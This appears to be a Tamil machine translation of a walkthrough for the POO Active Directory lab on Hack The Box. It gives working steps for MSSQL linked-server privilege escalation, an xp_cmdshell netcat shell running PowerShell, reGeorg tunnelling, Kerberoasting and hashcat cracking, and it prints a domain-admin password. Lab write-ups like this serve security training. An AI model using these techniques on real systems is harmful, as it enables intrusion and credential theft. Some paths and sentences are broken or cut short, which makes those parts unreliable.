இந்த கட்டுரையில், ஒரு இயந்திரம் மட்டுமல்ல, தளத்திலிருந்து ஒரு முழு மினி ஆய்வகத்தையும் பகுப்பாய்வு செய்வோம்.
விளக்கத்தில் கூறப்பட்டுள்ளபடி, சிறிய ஆக்டிவ் டைரக்டரி சூழலில் தாக்குதல்களின் அனைத்து நிலைகளிலும் திறன்களை சோதிக்கும் வகையில் POO வடிவமைக்கப்பட்டுள்ளது. அணுகக்கூடிய ஹோஸ்டுடன் சமரசம் செய்வது, சலுகைகளை அதிகரிப்பது மற்றும் இறுதியில் 5 கொடிகளைச் சேகரிப்பதன் மூலம் முழு டொமைனையும் சமரசம் செய்வதே குறிக்கோள்.
ஆய்வகத்திற்கான இணைப்பு VPN வழியாகும். தகவல் பாதுகாப்பைப் பற்றி ஏதாவது தெரிந்தவர்களுடன் தனிப்பட்ட நெட்வொர்க்கில் நுழைவதால், வேலை செய்யும் கணினியிலிருந்து அல்லது உங்களுக்கு முக்கியமான தரவு இருக்கும் ஹோஸ்டிலிருந்து இணைக்க வேண்டாம் என்று பரிந்துரைக்கப்படுகிறது 🙂
நிறுவன தகவல்
நான் உருவாக்கிய புதிய கட்டுரைகள், மென்பொருள் மற்றும் பிற தகவல்களைப் பற்றி நீங்கள் அறியலாம்
அனைத்து தகவல்களும் கல்வி நோக்கங்களுக்காக மட்டுமே வழங்கப்படுகின்றன. இந்த ஆவணத்தைப் படிப்பதன் விளைவாக பெறப்பட்ட அறிவு மற்றும் முறைகளைப் பயன்படுத்துவதன் விளைவாக யாருக்கும் ஏற்படும் எந்தவொரு சேதத்திற்கும் இந்த ஆவணத்தின் ஆசிரியர் பொறுப்பேற்கவில்லை.
அறிமுகம்
இந்த எண்ட்கேம் இரண்டு இயந்திரங்களைக் கொண்டுள்ளது மற்றும் 5 கொடிகளைக் கொண்டுள்ளது.
கிடைக்கக்கூடிய ஹோஸ்டின் விவரம் மற்றும் முகவரியும் கொடுக்கப்பட்டுள்ளது.
ஆரம்பிக்கலாம்!
ரீகான் கொடி
இந்த இயந்திரம் 10.13.38.11 ஐபி முகவரியைக் கொண்டுள்ளது, அதை நான் /etc/hosts இல் சேர்க்கிறேன்.
10.13.38.11 poo.htb
முதல் படி திறந்த துறைமுகங்களை ஸ்கேன் செய்வது. nmap மூலம் அனைத்து போர்ட்களையும் ஸ்கேன் செய்ய நீண்ட நேரம் எடுக்கும் என்பதால், முதலில் இதை masscan மூலம் செய்வேன். tun0 இடைமுகத்திலிருந்து அனைத்து TCP மற்றும் UDP போர்ட்களையும் 500pps இல் ஸ்கேன் செய்கிறோம்.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500
இப்போது, போர்ட்களில் இயங்கும் சேவைகளைப் பற்றிய விரிவான தகவல்களைப் பெற, -A விருப்பத்துடன் ஸ்கேன் இயக்கலாம்.
nmap -A poo.htb -p80,1433
எனவே, எங்களிடம் IIS மற்றும் MSSQL சேவைகள் உள்ளன. இந்த வழக்கில், டொமைன் மற்றும் கணினியின் உண்மையான DNS பெயரைக் கண்டுபிடிப்போம். இணைய சேவையகத்தில், ஐஐஎஸ் முகப்புப் பக்கத்தால் நாங்கள் வரவேற்கப்படுகிறோம்.
கோப்பகங்களை மீண்டும் மீண்டும் செய்வோம். இதற்கு நான் கோபஸ்டர் பயன்படுத்துகிறேன். அளவுருக்களில், ஸ்ட்ரீம்கள் 128 (-t), URL (-u), அகராதி (-w) மற்றும் எங்களுக்கு விருப்பமான நீட்டிப்புகள் (-x) ஆகியவற்றைக் குறிப்பிடுகிறோம்.
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html
எனவே, /நிர்வாகி கோப்பகத்திற்கான HTTP அங்கீகாரம் மற்றும் .DS_Store டெஸ்க்டாப் சேவை சேமிப்பக கோப்பும் எங்களிடம் உள்ளது. .DS_Store என்பது கோப்புகளின் பட்டியல், ஐகான் இருப்பிடம், தேர்ந்தெடுக்கப்பட்ட பின்னணிப் படம் போன்ற கோப்புறைக்கான பயனர் அமைப்புகளைச் சேமிக்கும் கோப்புகளாகும். அத்தகைய கோப்பு இணைய டெவலப்பர்களின் வலை சேவையக கோப்பகத்தில் முடிவடையும். இவ்வாறு, கோப்பகத்தின் உள்ளடக்கங்களைப் பற்றிய தகவலைப் பெறுகிறோம். இதற்கு நீங்கள் பயன்படுத்தலாம்
python3 dsstore_crawler.py -i http://poo.htb/
கோப்பகத்தின் உள்ளடக்கங்களைப் பெறுகிறோம். இங்கே மிகவும் சுவாரஸ்யமான விஷயம் என்னவென்றால், /dev கோப்பகம், இதில் இருந்து இரண்டு கிளைகளில் மூலங்கள் மற்றும் db கோப்புகளைக் காணலாம். ஆனால், சேவையானது IIS ShortName-ல் பாதிக்கப்படக்கூடியதாக இருந்தால், கோப்பு மற்றும் அடைவுப் பெயர்களின் முதல் 6 எழுத்துகளைப் பயன்படுத்தலாம். இதைப் பயன்படுத்தி இந்த பாதிப்பை நீங்கள் சரிபார்க்கலாம்
மேலும் "poo_co" என்று தொடங்கும் ஒரு உரைக் கோப்பைக் காண்கிறோம். அடுத்து என்ன செய்வது என்று தெரியாமல், கோப்பகங்களின் அகராதியில் இருந்து "co" என்று தொடங்கும் அனைத்து வார்த்தைகளையும் தேர்ந்தெடுத்தேன்.
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt
மற்றும் wfuzz உடன் மீண்டும் செய்யவும்.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404
மேலும் சரியான வார்த்தையைக் கண்டுபிடி! நாங்கள் இந்தக் கோப்பைப் பார்க்கிறோம், நற்சான்றிதழ்களைச் சேமிக்கிறோம் (DBNAME அளவுருவின் அடிப்படையில், அவை MSSQL இலிருந்து வந்தவை).
நாங்கள் கொடியை ஒப்படைக்கிறோம், நாங்கள் 20% முன்னேறுகிறோம்.
ஹூ கொடி
நாங்கள் MSSQL உடன் இணைக்கிறோம், நான் DBeaver ஐப் பயன்படுத்துகிறேன்.
இந்த தரவுத்தளத்தில் சுவாரஸ்யமான எதையும் நாங்கள் காணவில்லை, ஒரு SQL எடிட்டரை உருவாக்கி, பயனர்கள் என்ன என்பதைச் சரிபார்ப்போம்.
SELECT name FROM master..syslogins;
எங்களிடம் இரண்டு பயனர்கள் உள்ளனர். நமது சிறப்புரிமைகளை சரிபார்ப்போம்.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
இதனால், சலுகைகள் இல்லை. இணைக்கப்பட்ட சேவையகங்களைப் பார்ப்போம், இந்த நுட்பத்தைப் பற்றி விரிவாக எழுதினேன்
SELECT * FROM master..sysservers;
எனவே மற்றொரு SQL சேவையகத்தைக் காண்கிறோம். openquery() ஐப் பயன்படுத்தி இந்த சேவையகத்தில் கட்டளைகளின் செயல்பாட்டைச் சரிபார்க்கலாம்.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');
நாம் ஒரு வினவல் மரத்தை கூட உருவாக்கலாம்.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');
உண்மை என்னவென்றால், இணைக்கப்பட்ட சேவையகத்திற்கு நாம் ஒரு கோரிக்கையை வைக்கும்போது, மற்றொரு பயனரின் சூழலில் கோரிக்கை செயல்படுத்தப்படுகிறது! இணைக்கப்பட்ட சர்வரில் என்ன பயனர் சூழல் இயங்குகிறது என்பதைப் பார்ப்போம்.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');
இணைக்கப்பட்ட சர்வரில் இருந்து எந்த சூழலில் கோரிக்கை வைக்கப்படுகிறது என்பதை இப்போது பார்க்கலாம்!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');
எனவே, இது அனைத்து சலுகைகளையும் கொண்டிருக்க வேண்டிய ஒரு DBO சூழலாகும். இணைக்கப்பட்ட சேவையகத்தின் கோரிக்கையின் போது சலுகைகளைச் சரிபார்ப்போம்.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');
நீங்கள் பார்க்க முடியும் என, எங்களுக்கு அனைத்து சலுகைகளும் உள்ளன! நம்ம அட்மினை இப்படி உருவாக்குவோம். ஆனால் அவர்கள் அவற்றை openquery மூலம் அனுமதிக்கவில்லை, EXECUTE AT மூலம் செய்வோம்.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
இப்போது நாங்கள் புதிய பயனரின் நற்சான்றிதழ்களுடன் இணைக்கிறோம், புதிய கொடி தரவுத்தளத்தைக் கவனிக்கிறோம்.
இந்தக் கொடியை ஒப்படைத்துவிட்டுச் செல்கிறோம்.
பேக்டிராக் கொடி
MSSQL ஐப் பயன்படுத்தி ஷெல்லைப் பெறுவோம், நான் இம்பாக்கெட் தொகுப்பிலிருந்து mssqlclient ஐப் பயன்படுத்துகிறேன்.
mssqlclient.py ralf:[email protected] -db POO_PUBLIC
நாம் கடவுச்சொற்களைப் பெற வேண்டும், நாங்கள் ஏற்கனவே சந்தித்த முதல் விஷயம் தளம். எனவே, எங்களுக்கு ஒரு வலை சேவையக கட்டமைப்பு தேவை (வசதியான ஷெல்லை வீசுவது சாத்தியமில்லை, வெளிப்படையாக ஃபயர்வால் வேலை செய்கிறது).
ஆனால் அணுகல் மறுக்கப்படுகிறது. MSSQL இலிருந்து கோப்பைப் படிக்க முடியும் என்றாலும், எந்த நிரலாக்க மொழிகள் கட்டமைக்கப்பட்டுள்ளன என்பதை நாம் தெரிந்து கொள்ள வேண்டும். MSSQL கோப்பகத்தில் பைதான் இருப்பதைக் கண்டுபிடித்தோம்.
பின்னர் web.config கோப்பை படிப்பதில் எந்த பிரச்சனையும் இல்லை.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"
சான்றுகள் கிடைத்தவுடன், /நிர்வாகத்திற்குச் சென்று கொடியை எடுக்கவும்.
காலடி கொடி
உண்மையில், ஃபயர்வாலைப் பயன்படுத்துவதில் சில சிரமங்கள் உள்ளன, ஆனால் நெட்வொர்க் அமைப்புகளைப் பார்க்கும்போது, IPv6 நெறிமுறையும் பயன்படுத்தப்படுவதை நாங்கள் கவனிக்கிறோம்!
இந்த முகவரியை /etc/hosts இல் சேர்க்கவும்.
dead:babe::1001 poo6.htb
ஹோஸ்டை மீண்டும் ஸ்கேன் செய்வோம், ஆனால் இந்த முறை IPv6 மூலம்.
WinRM சேவை IPv6 இல் கிடைக்கிறது. கிடைத்த சான்றுகளுடன் இணைவோம்.
டெஸ்க்டாப்பில் ஒரு கொடி உள்ளது, அதை ஒப்படைக்கவும்.
P00ned கொடி
உடன் புரவலன் மீது உளவு பார்த்த பிறகு
setspn.exe -T intranet.poo -Q */*
MSSQL வழியாக கட்டளையை இயக்குவோம்.
இந்த வழியில், p00_hr மற்றும் p00_adm பயனர்களின் SPN ஐப் பெறுகிறோம், அதாவது Kerberoasting போன்ற தாக்குதலுக்கு அவர்கள் பாதிக்கப்படலாம். சுருக்கமாக, அவர்களின் கடவுச்சொற்களின் ஹாஷ்களைப் பெறலாம்.
முதலில் நீங்கள் MSSQL பயனரின் சார்பாக ஒரு நிலையான ஷெல்லைப் பெற வேண்டும். ஆனால் நாங்கள் அணுகலில் குறைவாக இருப்பதால், 80 மற்றும் 1433 போர்ட்கள் மூலம் மட்டுமே ஹோஸ்டுடன் எங்களுக்கு இணைப்பு உள்ளது. ஆனால் போர்ட் 80 மூலம் சுரங்கப் போக்குவரத்தை மேற்கொள்ள முடியும்! இதற்காக நாம் பயன்படுத்துவோம்
ஆனால் நாம் அதை அணுக முயலும்போது 404 பிழை வருகிறது.அதாவது *.aspx கோப்புகள் இயக்கப்படவில்லை. இந்த நீட்டிப்புகளுடன் கோப்புகளை இயக்க, ASP.NET 4.5 ஐ பின்வருமாறு நிறுவவும்.
dism /online /enable-feature /all /featurename:IIS-ASPNET45
இப்போது, tunnel.aspx ஐ அணுகும் போது, எல்லாம் செல்ல தயாராக உள்ளது என்ற பதிலைப் பெறுகிறோம்.
பயன்பாட்டின் கிளையன்ட் பகுதியைத் தொடங்குவோம், இது போக்குவரத்தை ரிலே செய்யும். போர்ட் 5432 இலிருந்து அனைத்து போக்குவரத்தையும் சேவையகத்திற்கு அனுப்புவோம்.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx
எங்கள் ப்ராக்ஸி மூலம் எந்தவொரு பயன்பாட்டின் போக்குவரத்தையும் அனுப்ப ப்ராக்ஸிசெயின்களைப் பயன்படுத்துகிறோம். இந்த ப்ராக்ஸியை /etc/proxychains.conf உள்ளமைவு கோப்பில் சேர்ப்போம்.
இப்போது நிரலை சேவையகத்தில் பதிவேற்றுவோம்
இப்போது நாம் கேட்பவரை MSSQL வழியாகத் தொடங்குகிறோம்.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321
நாங்கள் எங்கள் ப்ராக்ஸி மூலம் இணைக்கிறோம்.
proxychains rlwrap nc poo.htb 4321
மற்றும் ஹாஷ்களைப் பெறுவோம்.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt
அடுத்து, இந்த ஹாஷ்களை நீங்கள் மீண்டும் செய்ய வேண்டும். ராக் உங்களிடம் கடவுச்சொல் தரவு அகராதி இல்லாததால், Seclists இல் வழங்கப்பட்ட அனைத்து கடவுச்சொல் அகராதிகளையும் பயன்படுத்தினேன். கணக்கீட்டிற்கு நாங்கள் ஹாஷ்கேட்டைப் பயன்படுத்துகிறோம்.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force
இரண்டு கடவுச்சொற்களையும் நாங்கள் காண்கிறோம், முதலில் duch_passwordlist.txt அகராதியில் மற்றும் இரண்டாவது Keyboard-Combinations.txt இல்.
எனவே எங்களிடம் மூன்று பயனர்கள் உள்ளனர், நாங்கள் டொமைன் கன்ட்ரோலருக்குச் செல்கிறோம். முதலில் அவருடைய முகவரியைக் கண்டுபிடிக்கிறோம்.
அருமை, டொமைன் கன்ட்ரோலரின் ஐபி முகவரியைக் கற்றுக்கொண்டோம். டொமைனின் அனைத்து பயனர்களையும், அவர்களில் யார் நிர்வாகி என்பதையும் கண்டுபிடிப்போம். தகவலைப் பெற ஸ்கிரிப்டைப் பதிவிறக்க PowerView.ps1. பின்னர் தீய-winrm ஐப் பயன்படுத்தி இணைப்போம், -s அளவுருவில் உள்ள ஸ்கிரிப்டுடன் கோப்பகத்தைக் குறிப்பிடுகிறோம். பின்னர் PowerView ஸ்கிரிப்டை ஏற்றவும்.
இப்போது அதன் அனைத்து செயல்பாடுகளுக்கும் அணுகல் உள்ளது. p00_adm பயனர் ஒரு சலுகை பெற்ற பயனராகத் தெரிகிறார், எனவே நாங்கள் அதன் சூழலில் வேலை செய்வோம். இந்தப் பயனருக்காக PSC நன்மதிப்புப் பொருளை உருவாக்குவோம்.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass
இப்போது க்ரெட்ஸைக் குறிப்பிடும் அனைத்து பவர்ஷெல் கட்டளைகளும் p00_adm சார்பாக செயல்படுத்தப்படும். பயனர்களின் பட்டியலையும் AdminCount பண்புக்கூறையும் காண்பிப்போம்.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount
எனவே, எங்கள் பயனர் உண்மையில் சலுகை பெற்றவர். அவர் எந்தக் குழுவைச் சேர்ந்தவர் என்று பார்ப்போம்.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds
பயனர் ஒரு டொமைன் நிர்வாகி என்பதை நாங்கள் இறுதியாக உறுதிப்படுத்துகிறோம். டொமைன் கன்ட்ரோலரில் தொலைவிலிருந்து உள்நுழைவதற்கான உரிமையை இது வழங்குகிறது. எங்கள் சுரங்கப்பாதையைப் பயன்படுத்தி WinRM உடன் உள்நுழைய முயற்சிப்போம். தீய-வின்ர்மைப் பயன்படுத்தும் போது reGeorg வழங்கிய பிழைகளால் நான் குழப்பமடைந்தேன்.
பின்னர் நாம் மற்றொரு, எளிதான ஒன்றைப் பயன்படுத்துகிறோம்.
நாங்கள் இணைக்க முயற்சிக்கிறோம், நாங்கள் கணினியில் இருக்கிறோம்.
ஆனால் கொடி இல்லை. பின்னர் பயனரைப் பார்த்து டெஸ்க்டாப்பைச் சரிபார்க்கவும்.
mr3ks இல் நாம் கொடியைக் காண்கிறோம் மற்றும் ஆய்வகம் 100% முடிந்துவிட்டது.
அவ்வளவுதான். பின்னூட்டமாக, இந்தக் கட்டுரையிலிருந்து நீங்கள் புதிதாக ஏதாவது கற்றுக்கொண்டீர்களா, அது உங்களுக்குப் பயனுள்ளதாக இருந்ததா என்று கருத்துத் தெரிவிக்கவும்.
நீங்கள் எங்களுடன் சேரலாம்
ஆதாரம்: www.habr.com